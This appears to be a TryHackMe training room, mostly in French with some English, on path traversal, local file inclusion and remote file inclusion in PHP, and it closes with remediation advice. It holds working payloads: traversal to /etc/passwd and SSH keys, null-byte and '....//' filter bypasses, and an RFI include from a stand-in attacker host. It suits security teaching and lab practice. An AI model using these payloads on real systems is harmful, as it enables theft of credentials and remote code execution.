Cette salle vise à vous fournir les connaissances essentielles pour exploiter les

vulnérabilités d'inclusion de fichiers,

notamment l'inclusion de fichiers locaux (LFI), l'inclusion de fichiers distants
(RFI) et la traversée de répertoires.
Nous discuterons également du risque de ces vulnérabilités si elles sont
découvertes et de la correction requise.
Nous fournissons des exemples pratiques de chaque vulnérabilité ainsi que des
défis pratiques.

Dans certains scénarios, les applications Web sont écrites pour demander l'accès à
des fichiers sur un système donné,
y compris des images, du texte statique, etc. via des paramètres.
Les paramètres sont des chaînes de paramètres de requête attachées à l'URL qui
peuvent être utilisées pour récupérer des données ou effectuer
des actions en fonction de l'entrée de l'utilisateur. Le graphique suivant
explique et décompose les parties essentielles de l'URL.

Pourquoi les vulnérabilités d'inclusion de fichiers se produisent-elles?

Les vulnérabilités d'inclusion de fichiers sont couramment trouvées et exploitées
dans divers langages de programmation
pour les applications Web, tels que PHP, qui sont mal écrits et implémentés.
Le principal problème de ces vulnérabilités est la validation des entrées, dans
laquelle les entrées de l'utilisateur ne sont ni filtrées
ni validées, et l'utilisateur les contrôle.
Lorsque l'entrée n'est pas validée, l'utilisateur peut transmettre n'importe
quelle entrée à la fonction, provoquant la vulnérabilité.

Quel est le risque d'inclusion de fichier?

Ça dépend! Si l'attaquant peut utiliser des vulnérabilités d'inclusion de fichiers
pour lire des données sensibles.
Dans ce cas, l'attaque réussie provoque une fuite de données sensibles, y compris
du code et des fichiers liés à l'application Web,
des informations d'identification pour les systèmes principaux.
De plus, si l'attaquant peut d'une manière ou d'une autre écrire sur le serveur
tel que le répertoire /tmp,
il est alors possible d'obtenir l'exécution de commandes à distance RCE.
Cependant, cela ne sera pas efficace si une vulnérabilité d'inclusion de fichiers
est trouvée sans accès aux données sensibles et sans capacité
d'écriture sur le serveur.

Path traversal

Également connue sous le nom de traversée de répertoire, une vulnérabilité de

sécurité Web permet à un attaquant de lire les ressources du système
d'exploitation, telles que les fichiers locaux sur le serveur exécutant une
application. L'attaquant exploite cette vulnérabilité en manipulant et en abusant
de l'URL de l'application Web pour localiser et accéder aux fichiers ou répertoires
stockés en dehors du répertoire racine de l'application.

Les vulnérabilités de traversée de chemin se produisent lorsque l'entrée de

l'utilisateur est transmise à une fonction telle que file_get_contents en PHP. Il
est important de noter que la fonction n'est pas le principal contributeur à la
vulnérabilité. Souvent, une mauvaise validation ou un mauvais filtrage des entrées
est la cause de la vulnérabilité. En PHP, vous pouvez utiliser file_get_contents
pour lire le contenu d'un fichier. Vous pouvez trouver plus d'informations sur la
fonction ici.

Le graphique suivant montre comment une application Web stocke les fichiers dans
/var/www/app. Le chemin heureux serait l'utilisateur demandant le contenu de
userCV.pdf à partir d'un chemin défini /var/www/app/CVs.

We can test out the URL parameter by adding payloads to see how the web application
behaves. Path traversal attacks, also known as the dot-dot-slash attack, take
advantage of moving the directory one step up using the double dots ../. If the
attacker finds the entry point, which in this case get.php?file=, then the attacker
may send something as follows,
http://webapp.thm/get.php?file=../../../../etc/passwd

Suppose there isn't input validation, and instead of accessing the PDF files at
/var/www/app/CVs location, the web application retrieves files from other
directories, which in this case /etc/passwd. Each .. entry moves one directory
until it reaches the root directory /. Then it changes the directory to /etc, and
from there, it read the passwd file.

As a result, the web application sends back the file's content to the user.

Similarly, if the web application runs on a Windows server, the attacker needs to
provide Windows paths. For example, if the attacker wants to read the boot.ini file
located in c:\boot.ini, then the attacker can try the following depending on the
target OS version:

http://webapp.thm/get.php?file=../../../../boot.ini or

http://webapp.thm/get.php?file=../../../../windows/win.ini

The same concept applies here as with Linux operating systems, where we climb up
directories until it reaches the root directory, which is usually c:\.

Sometimes, developers will add filters to limit access to only certain files or
directories. Below are some common OS files you could use when testing.

Location Description

/etc/issue
contains a message or system identification to be printed before the login
prompt.

/etc/profile

controls system-wide default variables, such as Export variables, File creation

mask (umask), Terminal types, Mail messages to indicate when new mail has arrived

/proc/version
specifies the version of the Linux kernel

/etc/passwd
has all registered user that has access to a system

/etc/shadow
contains information about the system's users' passwords

/root/.bash_history

contains the history commands for root user

/var/log/dmessage
contains global system messages, including the messages that are logged
during system startup

/var/mail/root

all emails for root user

/root/.ssh/id_rsa
Private SSH keys for a root or any known valid user on the server

/var/log/apache2/access.log

the accessed requests for Apache webserver

C:\boot.ini
contains the boot options for computers with BIOS firmware

Local File Inclusion (LFI)

LFI attacks against web applications are often due to a developers' lack of
security awareness. With PHP, using functions such as include, require,
include_once, and require_once often contribute to vulnerable web applications. In
this room, we'll be picking on PHP, but it's worth noting LFI vulnerabilities also
occur when using other languages such as ASP, JSP, or even in Node.js apps. LFI
exploits follow the same concepts as path traversal.

In this section, we will walk you through various LFI scenarios and how to exploit
them.

1. Suppose the web application provides two languages, and the user can select
between the EN and AR

<?PHP
include($_GET["lang"]);
?>

The PHP code above uses a GET request via the URL parameter lang to include the
file of the page. The call can be done by sending the following HTTP request as
follows: http://webapp.thm/index.php?lang=EN.php to load the English page or
http://webapp.thm/index.php?lang=AR.php to load the Arabic page, where EN.php and
AR.php files exist in the same directory.

Theoretically, we can access and display any readable file on the server from the
code above if there isn't any input validation. Let's say we want to read the
/etc/passwd file, which contains sensitive information about the users of the Linux
operating system, we can try the following:
http://webapp.thm/get.php?file=/etc/passwd

In this case, it works because there isn't a directory specified in the include
function and no input validation.

Now apply what we discussed and try to read /etc/passwd file. Also, answer question
#1 below.
2. Next, In the following code, the developer decided to specify the directory
inside the function.

<?PHP
include("languages/". $_GET['lang']);
?>

In the above code, the developer decided to use the include function to call PHP
pages in the languages directory only via lang parameters.

If there is no input validation, the attacker can manipulate the URL by replacing
the lang input with other OS-sensitive files such as /etc/passwd.

Again the payload looks similar to the path traversal, but the include function
allows us to include any called files into the current page. The following will be
the exploit:

Dans cette tâche, nous allons un peu plus loin dans LFI. Nous avons discuté de
quelques techniques pour contourner le filtre dans la fonction include.

1. Dans les deux premiers cas, nous avons vérifié le code de l'application Web,
puis nous avons su l'exploiter. Cependant, dans ce cas, nous effectuons des tests
de boîte noire, dans lesquels nous n'avons pas le code source. Dans ce cas, les
erreurs sont importantes pour comprendre comment les données sont transmises et
traitées dans l'application Web.

Dans ce scénario, nous avons le point d'entrée suivant :

http://webapp.thm/index.php?lang=EN. Si nous saisissons une entrée non valide,
telle que THM, nous obtenons l'erreur suivante

Avertissement : include(languages/THM.php) : échec de l'ouverture du flux : aucun

fichier ou répertoire de ce type dans /var/www/html/THM-4/index.php à la ligne 12

Le message d'erreur divulgue des informations importantes. En saisissant THM en

entrée, un message d'erreur montre à quoi ressemble la fonction include :
include(languages/THM.php);.

Si vous regardez attentivement le répertoire, nous pouvons dire que la fonction

inclut les fichiers dans le répertoire des langues ajoute .php à la fin de
l'entrée. Ainsi, l'entrée valide sera quelque chose comme suit : index.php?lang=EN,
où le fichier EN est situé dans le répertoire de langues donné et nommé EN.php.

En outre, le message d'erreur a révélé une autre information importante sur le

chemin complet du répertoire de l'application Web qui est /var/www/html/THM-4/

Pour exploiter cela, nous devons utiliser l'astuce ../ , comme décrit dans la
section traversée de répertoires, pour sortir le dossier actuel. Essayons ce qui
suit :

http://webapp.thm/index.php?lang=../../../../etc/passwd

Notez que nous avons utilisé 4 ../ car nous savons que le chemin a quatre
niveaux /var/www/html/THM-4. Mais nous recevons toujours l'erreur suivante :

Avertissement : include(languages/../../../../../etc/passwd.php) : échec de

l'ouverture du flux : aucun fichier ou répertoire de ce type dans
/var/www/html/THM-4/ index.php à la ligne 12

Il semble que nous pourrions sortir du répertoire PHP mais la fonction include lit
l'entrée avec .php à la fin ! Cela nous indique que le développeur spécifie le type
de fichier à transmettre à la fonction include. Pour contourner ce scénario, nous
pouvons utiliser le NULL BYTE, qui est %00.

L'utilisation d'octets nuls est une technique d'injection dans laquelle une
représentation codée en URL telle que %00 ou 0x00 en hexadécimal avec des données
fournies par l'utilisateur pour terminer les chaînes. Vous pourriez considérer cela
comme une tentative d'inciter l'application Web à ignorer tout ce qui vient après
l'octet nul.

En ajoutant l'octet nul à la fin de la charge utile, nous disons à la fonction

d'inclusion d'ignorer tout ce qui suit l'octet nul, ce qui peut ressembler à :

include('langues/../../../../../etc/passwd%00').'.php'); qui équivaut à →

include('languages/../../../../../etc/passwd');

REMARQUE : l'astuce %00 est corrigée et ne fonctionne pas avec PHP 5.3.4 et
supérieur.

Appliquez maintenant ce que nous avons montré dans le Lab #3, et essayez de lire
les fichiers /etc/passwd, répondez à la question #1 ci-dessous.

2. Dans cette section, le développeur a décidé de filtrer les mots-clés pour éviter
de divulguer des informations sensibles ! Le fichier /etc/passwd est en cours de
filtrage. Il existe deux méthodes possibles pour contourner le filtre. Tout
d'abord, en utilisant le NullByte %00 ou l'astuce du répertoire courant à la fin du
mot-clé filtré /.. L'exploit sera similaire à
http://webapp.thm/index.php?lang=/etc/passwd/. Nous pourrions également utiliser
http://webapp.thm/index.php?lang=/etc/passwd%00.

Pour que ce soit plus clair, si nous essayons ce concept dans le système de
fichiers en utilisant cd .., cela vous fera reculer d'un pas ; cependant, si vous
faites cd ., Il reste dans le répertoire courant. De même, si nous essayons
/etc/passwd/.., cela donne /etc/ et c'est parce que nous en avons déplacé un à la
racine. Maintenant, si nous essayons /etc/passwd/., le résultat sera /etc/passwd
puisque le point fait référence au répertoire courant.

Maintenant, appliquez cette technique dans le Lab #4 et essayez de lire

/etc/passwd.

3. Ensuite, dans les scénarios suivants, le développeur commence à utiliser la

validation des entrées en filtrant certains mots-clés. Testons et vérifions le
message d'erreur !

http://webapp.thm/index.php?lang=../../../../etc/passwd

Nous avons l'erreur suivante !

Avertissement : include(languages/etc/passwd) : échec de l'ouverture du flux :

aucun fichier ou répertoire de ce type dans /var/www/html/THM-5/index.php à la
ligne 15
Si nous vérifions le message d'avertissement dans la section
include(languages/etc/passwd), nous savons que l'application Web remplace le ../
par la chaîne vide. Il existe quelques techniques que nous pouvons utiliser pour
contourner cela.

Tout d'abord, nous pouvons envoyer la charge utile suivante pour le

contourner : ....//....//....//....//....//etc/passwd

Pourquoi cela a-t-il fonctionné ?

Cela fonctionne car le filtre PHP correspond et remplace uniquement la première

chaîne de sous-ensemble ../ il trouve et ne fait pas une autre passe, laissant ce
qui est illustré ci-dessous.

Essayez Lab #5 et essayez de lire /etc/passwd et de contourner le filtre !

4. Enfin, nous aborderons le cas où le développeur force l'include à lire depuis un

répertoire défini ! Par exemple, si l'application Web demande de fournir une entrée
qui doit inclure un répertoire tel que : http://webapp.thm/index.php?
lang=languages/EN.php alors, pour exploiter cela, nous devons inclure le répertoire
dans la charge utile comme ceci :
http://webapp.thm/index.php?lang=languages/EN.php then, to exploit this, we need
to include the directory in the payload like so:
?lang=languages/../../../../../etc/passwd

Inclusion de fichiers à distance - RFI

Remote File Inclusion - RFI
L'inclusion de fichiers distants (RFI) est une technique permettant d'inclure des
fichiers distants dans une application vulnérable.
Comme LFI, le RFI se produit lors de la désinfection incorrecte de l'entrée de
l'utilisateur, permettant à un attaquant d'injecter une URL externe dans la
fonction d'inclusion.
Une exigence pour RFI est que l'option allow_url_fopen doit être activée.

Le risque de RFI est plus élevé que celui de LFI car les vulnérabilités RFI
permettent à un attaquant d'obtenir l'exécution de commandes à distance (RCE) sur
le serveur.
Les autres conséquences d'une attaque RFI réussie incluent :

Divulgation d'informations sensibles

Script intersite (XSS)
Déni de service (DoS)

Un serveur externe doit communiquer avec le serveur d'applications pour une attaque
RFI réussie où l'attaquant héberge des fichiers malveillants sur son serveur.
Ensuite, le fichier malveillant est injecté dans la fonction include via des
requêtes HTTP, et le contenu du fichier malveillant s'exécute sur le serveur
d'application vulnérable.

Étapes RFI

La figure suivante est un exemple d'étapes pour une attaque RFI réussie ! Disons
que l'attaquant héberge un fichier PHP sur son propre serveur
http://attaquant.thm/cmd.txt où cmd.txt
contient un message d'impression Hello THM.

<?PHP echo 'Bonjour THM'; ?>

Tout d'abord, l'attaquant injecte l'URL malveillante, qui pointe vers le serveur de
l'attaquant, telle que
http://webapp.thm/index.php?lang=http://attacker.thm/cmd.txt.
S'il n'y a pas de validation d'entrée, l'URL malveillante passe dans la fonction
d'inclusion. Ensuite, le serveur d'applications Web enverra une requête GET au
serveur
malveillant pour récupérer le fichier. En conséquence, l'application Web inclut le
fichier distant dans la fonction include pour exécuter le fichier PHP dans la page
et envoyer
le contenu d'exécution à l'attaquant. Dans notre cas, la page actuelle doit
afficher quelque part le message Hello THM.

Visitez l'URL de laboratoire suivante : http://10.10.251.119/playground.php pour

essayer une attaque RFI.

En tant que développeur, il est important de connaître les vulnérabilités des

applications Web, comment les trouver et les méthodes de prévention. Pour éviter
les vulnérabilités d'inclusion de fichiers, certaines suggestions courantes
incluent:

Maintenez le système et les services, y compris les frameworks d'applications Web,

à jour avec la dernière version.
Désactivez les erreurs PHP pour éviter de divulguer le chemin de l'application et
d'autres informations potentiellement révélatrices.
Un pare-feu d'application Web (WAF) est une bonne option pour aider à atténuer les
attaques d'applications Web.
Désactivez certaines fonctionnalités PHP qui provoquent des vulnérabilités
d'inclusion de fichiers si votre application Web n'en a pas besoin, telles que
allow_url_fopen on et allow_url_include.
Analysez attentivement l'application Web et n'autorisez que les protocoles et les
wrappers PHP qui en ont besoin.
Ne faites jamais confiance à l'entrée de l'utilisateur et assurez-vous
d'implémenter une validation d'entrée appropriée contre l'inclusion de fichiers.
Implémentez une liste blanche pour les noms et emplacements de fichiers ainsi
qu'une liste noire.